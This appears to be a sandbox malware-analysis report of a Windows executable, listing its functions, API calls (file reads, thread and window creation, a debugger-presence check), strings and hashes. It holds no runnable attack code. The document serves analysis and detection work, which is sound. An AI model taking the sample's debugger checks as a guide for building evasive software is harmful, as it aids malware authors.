
Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21d9ad8b8a412da9e1b005557dcfadcce85f5c1992efe935bc6668eca2255594
Instruction ID: 1ac56fedd84d32df12bd9151c288462f69a777cf28fc4f7e2607a6d48a20b448
Opcode Fuzzy Hash: 21d9ad8b8a412da9e1b005557dcfadcce85f5c1992efe935bc6668eca2255594
Instruction Fuzzy Hash: 5021BEF122420AAFCB10AFA4DCE596BB7ADEF04368F108915F81597151EB30EC618BB0

Function 00241AEC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00241AF4

Part of subcall function 0023A9E1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0023C231,?,00000000,-00000008), ref: 0023AA42

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00241B2C
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00241B4C

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 4bb7140d8dd8e752c60805b53f78319606ed33f1cac2d3bf646f7258bb3e77ee
Instruction ID: 65efe5835619236b0ffa65926228dd2a055bd6d94e61df83b9585612fd117e87
Opcode Fuzzy Hash: 4bb7140d8dd8e752c60805b53f78319606ed33f1cac2d3bf646f7258bb3e77ee
Instruction Fuzzy Hash: 5511C4E1A316157E67162B716C8EC7F79ACDEA57E9B100438F40191101FE708E718A71

Function 0022CB2A Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0022CB31
std::_Lockit::_Lockit.LIBCPMT ref: 0022CB3B
int.LIBCPMT ref: 0022CB52

Part of subcall function 0022A613: std::_Lockit::_Lockit.LIBCPMT ref: 0022A624
Part of subcall function 0022A613: std::_Lockit::~_Lockit.LIBCPMT ref: 0022A63E

std::_Lockit::~_Lockit.LIBCPMT ref: 0022CBAC

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 31e70956de11d88cb2ee004fa510f7577b248aafa27e6d1ba063aa0ca3be17c1
Instruction ID: db33604ada947b5e92e7716320e5123fb7a2e5ad26bdcfa3e07cc34ead4eb46c
Opcode Fuzzy Hash: 31e70956de11d88cb2ee004fa510f7577b248aafa27e6d1ba063aa0ca3be17c1
Instruction Fuzzy Hash: CD11AC3182422AABCB05EFE4F95A6BDB764AB48724F244449E8016B281CF709A208F91

Function 002499D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000), ref: 002499E7
GetLastError.KERNEL32(?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000,?,?,?,00242602,00000000), ref: 002499F3

Part of subcall function 00249A44: CloseHandle.KERNEL32(FFFFFFFE,00249A03,?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000,?,?), ref: 00249A54

___initconout.LIBCMT ref: 00249A03

Part of subcall function 00249A25: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002499C1,00248EAC,?,?,00242CBC,?,00000000,00000000,?), ref: 00249A38

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000,?), ref: 00249A18

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 008b3d7a7ef3e2f49da9e6ce3c851317dd8b570b613e76803d1d0af584396d38
Instruction ID: 40f9523bff42e77d20b49605d6da0cb7a4e5f5c308bd65659232e8c6b6e1499d
Opcode Fuzzy Hash: 008b3d7a7ef3e2f49da9e6ce3c851317dd8b570b613e76803d1d0af584396d38
Instruction Fuzzy Hash: 0BF01C36810225BBCF226F91FC0898A3F66FB487F2F104050FE0985260C63289A0EB94

Function 0022E5C7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0022E5D9
GetCurrentThreadId.KERNEL32 ref: 0022E5E8
GetCurrentProcessId.KERNEL32 ref: 0022E5F1
QueryPerformanceCounter.KERNEL32(?), ref: 0022E5FE

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ec0f8bae370f097fde38fad3cb74dbc3d6163c678463f77edeeac9e18d8f8055
Instruction ID: ee312b392c0bdd85f112b5f8a5257208007f1f92d65a2d5c7fd06e5d3daff368
Opcode Fuzzy Hash: ec0f8bae370f097fde38fad3cb74dbc3d6163c678463f77edeeac9e18d8f8055
Instruction Fuzzy Hash: ACF0B230C1020DEBCB00DBB4E94999EBBF4FF1C205BA19595E412F7510E730AB448B50

Function 0023A350 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0023A251,?,?,00000000,00000000,00000000,?), ref: 0023A375

Strings

MOC, xrefs: 0023A387
RCC, xrefs: 0023A38F

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 0a080d29b5906a29972da48cd67b808019a3cfc3e1dd28721bfb578e65574641
Instruction ID: 13d9088983654332702fab67442e9646e2b234b93adcee036108cf3e4b9788b4
Opcode Fuzzy Hash: 0a080d29b5906a29972da48cd67b808019a3cfc3e1dd28721bfb578e65574641
Instruction Fuzzy Hash: 09418DB191020AEFCF15DF98CC85AEEBBB6BF08300F1481A8FA4566221D3759960DF51

Function 00239BBC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00239E33

Strings

csm, xrefs: 00239E55
csm, xrefs: 00239EC6

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a500f2f9b7a2f021e1c9fe87bd48ea05508851c026e99cf615046da901a018e7
Instruction ID: f6889d251fbea1dc4b07d9e76cd03c2ff86d710aecd0bc3a9887e8de06332b45
Opcode Fuzzy Hash: a500f2f9b7a2f021e1c9fe87bd48ea05508851c026e99cf615046da901a018e7
Instruction Fuzzy Hash: F13194B64302169BCF269F54C8449AA7BA9FF0A315F14815AF99489121C3B3DCF1DF91

Function 00222A40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00222A96
__Getctype.LIBCPMT ref: 00222B0A

Strings

ios_base::badbit set, xrefs: 00222A42

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: GetctypeLockitLockit::_std::_
String ID: ios_base::badbit set
API String ID: 2423992667-3882152299
Opcode ID: d24a249bed61b72535b4b94558e409c0983e9c43acd5e00e79938e08bdadb03a
Instruction ID: 1e96ca049d61e6395f136ad5264178447fcaef67c0f3bb80dee1003eaf84ac53
Opcode Fuzzy Hash: d24a249bed61b72535b4b94558e409c0983e9c43acd5e00e79938e08bdadb03a
Instruction Fuzzy Hash: 0531F2B0918384ABE310DF64D85531BBBE4AFE4308F04491CF5884B242E7B6E5A8CBD3

Analysis Process: d0d9725343.exePID: 4140, Parent PID: 2528COMMON

Non-executed Functions

Function 0023FBD2 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(00000000,?,0023CF02), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000,?,?,00000028,00236E76), ref: 0023ABC9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0023FCDA
IsValidCodePage.KERNEL32(00000000), ref: 0023FD18
IsValidLocale.KERNEL32(?,00000001), ref: 0023FD2B
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0023FD73
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0023FD8E

Strings

l#%, xrefs: 0023FC87

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: l#%
API String ID: 415426439-1260472432
Opcode ID: 32e7166b4a608d3e0bae68e87b027c658c496da2546aab08758bb254d0012f85
Instruction ID: d1aba0faf34b52430b2da69562b5266d8ca43c1e2bd3da071beeab26615abcac
Opcode Fuzzy Hash: 32e7166b4a608d3e0bae68e87b027c658c496da2546aab08758bb254d0012f85
Instruction Fuzzy Hash: 66517FB2E2020AAFDF51DFA5ED45ABAB7B8FF04701F04447AE901E7191E7709D608B61

Function 00221B70 Relevance: 9.3, APIs: 6, Instructions: 267filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00221000: _strlen.LIBCMT ref: 00221067

GetFileSize.KERNEL32(00000000,00000000), ref: 00221BE1
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00221C07
CloseHandle.KERNEL32(00000000), ref: 00221C16
_strlen.LIBCMT ref: 00221C84
CloseHandle.KERNEL32(00000000), ref: 00221E83
PostQuitMessage.USER32(00000000), ref: 00221EE0

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: CloseFileHandle_strlen$MessagePostQuitReadSize
String ID:
API String ID: 2365707584-0
Opcode ID: 038e44bbdcc765ba403832d10e330f2a57b8f1d33c49648e92dfca83de2954a4
Instruction ID: 523c54e84acf6899f5ee67360669bb5fb4de767b994e69c06bad99ad1d4436b5
Opcode Fuzzy Hash: 038e44bbdcc765ba403832d10e330f2a57b8f1d33c49648e92dfca83de2954a4
Instruction Fuzzy Hash: 60918872924321ABC314DF64EC85A2BBBE5FF99350F15092DF8858B351E730D960CB92

Function 00240337 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0023FD08,00000002,00000000,?,?,?,0023FD08,?,00000000), ref: 002403D0
GetLocaleInfoW.KERNEL32(?,20001004,0023FD08,00000002,00000000,?,?,?,0023FD08,?,00000000), ref: 002403F9
GetACP.KERNEL32(?,?,0023FD08,?,00000000), ref: 0024040E

Strings

OCP, xrefs: 0024038B
ACP, xrefs: 00240355

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4711fbdecce08e71b696ca5f893d6d3b8123cacb02c6868fd96eff5f13a18153
Instruction ID: 3607185362b69787539f3fcae801306e22a4790441d240fe2431702df1dd7bd6
Opcode Fuzzy Hash: 4711fbdecce08e71b696ca5f893d6d3b8123cacb02c6868fd96eff5f13a18153
Instruction Fuzzy Hash: 5A21CB32A30202A7D73DCF24D885A9B7FA6AF54B54B5680B4EB0AD7111E732DED1C390

Function 00238900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c833190d3595b4907967d4d4129b7b381ff8ffd123d7f024cd91791e4d9d99b7
Instruction ID: d9bc898946f9306035358f56dbc86089230a692f1bc291e899106b41a16c2939
Opcode Fuzzy Hash: c833190d3595b4907967d4d4129b7b381ff8ffd123d7f024cd91791e4d9d99b7
Instruction Fuzzy Hash: 7D023DB1E1121A9FDF14CFA8D8806ADF7F5FF48314F24826AE515EB380DB31A9518B90

Function 00240919 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00240A09

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ab2832a391f00281c41cf9666c3b738cb0a8741c0f8ab28a306e6b4f3ada2bf9
Instruction ID: f5d83bbc420a9728384a5b52309c370292087bf9e9632e02ab9214bb21036c68
Opcode Fuzzy Hash: ab2832a391f00281c41cf9666c3b738cb0a8741c0f8ab28a306e6b4f3ada2bf9
Instruction Fuzzy Hash: 4771D3719152699FDF29EF24CCCDAAEBBB8EB45304F1441D9E249A3211DA304ED58F14

Function 0022D86F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0022D87B
IsDebuggerPresent.KERNEL32 ref: 0022D947
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0022D960
UnhandledExceptionFilter.KERNEL32(?), ref: 0022D96A

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 17441f0f4182c9501f9ea5754de5c91f3b4729addcd9c729e4828a36eacc39da
Instruction ID: 87318b0b3a2002fb6552fe8fae9d92df701c15a6ed94edbb7873bcfc33b0b26a
Opcode Fuzzy Hash: 17441f0f4182c9501f9ea5754de5c91f3b4729addcd9c729e4828a36eacc39da
Instruction Fuzzy Hash: 5A310C75D153299BDF21DFA4E8497CDBBB4AF08700F1041AAE40CA7250E7709B85CF45

Function 00221F20 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 118windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00221F53
RegisterClassW.USER32(?), ref: 00221F6A
CreateWindowExW.USER32 ref: 00221FCA
GetLastError.KERNEL32 ref: 00221FD4
GetMessageW.USER32(Christmas Balls,00000000,00000000,00000000), ref: 00222000
GetMessageW.USER32(00000000,00000000,00000000,00000000,00000000), ref: 0022203D

Strings

[err id]: %i, xrefs: 00221FDB
CreatingTool, xrefs: 00221FB3
Christmas Balls, xrefs: 00221F5D, 00221FBB, 00221FFF
Keep low..., xrefs: 00222052

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Message$ClassCreateErrorHandleLastModuleRegisterWindow
String ID: Christmas Balls$CreatingTool$Keep low...$[err id]: %i
API String ID: 91802587-478130180
Opcode ID: e9424596f36dfe73731dda26162ef79a2a11388a2e39f1346ffa3f35b28fc4ff
Instruction ID: 150aa13a4215b8f1aa0a404bc79e28819560cd65be722921487d5a385dfba0c3
Opcode Fuzzy Hash: e9424596f36dfe73731dda26162ef79a2a11388a2e39f1346ffa3f35b28fc4ff
Instruction Fuzzy Hash: A641D370A28341EFD300DF60E849B2BB7E4BF98705F00561CF9889B250DB71E964CB56

Function 002220D0 Relevance: 13.6, APIs: 9, Instructions: 109threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 002220E8
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 002220F9
GetCurrentThreadId.KERNEL32 ref: 0022214A

Part of subcall function 0022D0B6: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000), ref: 0022D0C2
Part of subcall function 0022D0B6: GetExitCodeThread.KERNEL32(?,?), ref: 0022D0DB
Part of subcall function 0022D0B6: CloseHandle.KERNEL32(?), ref: 0022D0ED

Part of subcall function 00233E7D: CreateThread.KERNEL32(?,?,00233F95,00000000,?,?), ref: 00233EC6
Part of subcall function 00233E7D: GetLastError.KERNEL32 ref: 00233ED2
Part of subcall function 00233E7D: __dosmaperr.LIBCMT ref: 00233ED9

GetCurrentThreadId.KERNEL32 ref: 002221AF
std::_Throw_Cpp_error.LIBCPMT ref: 002221E9
std::_Throw_Cpp_error.LIBCPMT ref: 002221F0
std::_Throw_Cpp_error.LIBCPMT ref: 002221F7
std::_Throw_Cpp_error.LIBCPMT ref: 00222204
std::_Throw_Cpp_error.LIBCPMT ref: 00222213

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Thread$CurrentHandleModule$CloseCodeCreateErrorExitFileLastNameObjectSingleWait__dosmaperr
String ID:
API String ID: 686914455-0
Opcode ID: f32ccb1c666f0ea549441fe1678c05689d7f7244cc6041f5e3522d2b4b1f2bcc
Instruction ID: 1013450a05749b4f4227301631fc39a85d268647b1047850f91b89b6b547fff7
Opcode Fuzzy Hash: f32ccb1c666f0ea549441fe1678c05689d7f7244cc6041f5e3522d2b4b1f2bcc
Instruction Fuzzy Hash: C231EAB1A60321BBE7207FE0BC07F9A76A49F45B40F044418FA4C6B1C5EAB19574CB97

Function 00249712 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,002496FD,?,?,?,?,?,?,?,?,?,?), ref: 002497B8
__alloca_probe_16.LIBCMT ref: 00249873
__alloca_probe_16.LIBCMT ref: 00249902
__freea.LIBCMT ref: 0024994D
__freea.LIBCMT ref: 00249953
__freea.LIBCMT ref: 00249989
__freea.LIBCMT ref: 0024998F
__freea.LIBCMT ref: 0024999F

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
